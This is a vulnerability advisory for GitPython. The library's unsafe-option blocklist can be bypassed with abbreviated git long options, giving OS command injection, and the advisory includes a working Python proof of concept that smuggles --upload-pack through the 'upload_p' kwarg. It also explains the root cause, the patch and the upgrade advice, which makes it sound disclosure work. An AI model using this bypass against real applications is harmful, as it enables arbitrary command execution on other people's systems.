high · 8.8Jul 21, 2026

GitPython: OS Command Injection via git long-option prefix abbreviation bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

GitPython's blocklist for dangerous git options like --upload-pack can be bypassed by passing an abbreviated form of the option name as a Python keyword argument, letting an attacker run arbitrary com

PackageGitPython
Ecosystempip
Affected<= 3.1.50
Fixed in3.1.51

The problem

GitPython added a blocklist in 3.1.47 to reject dangerous git options such as `--upload-pack`, `--receive-pack`, and `--exec`. The guard normalizes option names only by converting underscores to hyphens, then does an exact dict lookup.

Git's CLI parser accepts any unambiguous prefix of a long option. A kwarg like `upload_p` dashifies to `upload-p`, misses the blocklist, and reaches git as `--upload-p=<value>`, which git silently resolves to `--upload-pack=<value>`. This means arbitrary command execution is possible even when `allow_unsafe_options=False` (the default).

Exploitation requires a host application that passes attacker-controlled kwarg keys into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`. Where keys are fixed or validated upstream, the library's safety guard is not reachable.

Proof of concept

A working proof-of-concept for this issue in GitPython, with the exact payload below.

python
import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake upload-pack binary that proves arbitrary execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# 'upload_p' -> --upload-p= -> git resolves to --upload-pack= -> runs evil.sh
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts after payload executes

print("RCE:", os.path.exists(marker))  # True = command injection confirmed

The root cause is an asymmetry between what `check_unsafe_options` models and what git actually accepts. The guard only normalizes `_` to `-` and does exact dict membership, so abbreviated keys like `upload_p` pass right through. Git's option parser then expands the abbreviation to the full blocked flag and executes the attacker-supplied binary.

The patch (PR #2168, commit `56806080`) adds prefix-aware matching: any option whose canonical name is an unambiguous prefix of a blocked option is now rejected. This closes the gap between the library's grammar model and git's actual CLI parser. CWE-184 (Incomplete List of Disallowed Inputs) leads directly to CWE-78 (OS Command Injection).

The fix

Upgrade GitPython to 3.1.51 or later. The fix rejects abbreviated forms of all blocked git options in `check_unsafe_options`, ensuring no prefix of a dangerous option name can slip through. If you cannot upgrade immediately, audit all call sites of `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, and `Remote.push()` to confirm kwarg keys are hardcoded and never derived from user input.

Reported by hackkim.

References: [1][2][3][4][5]

Related research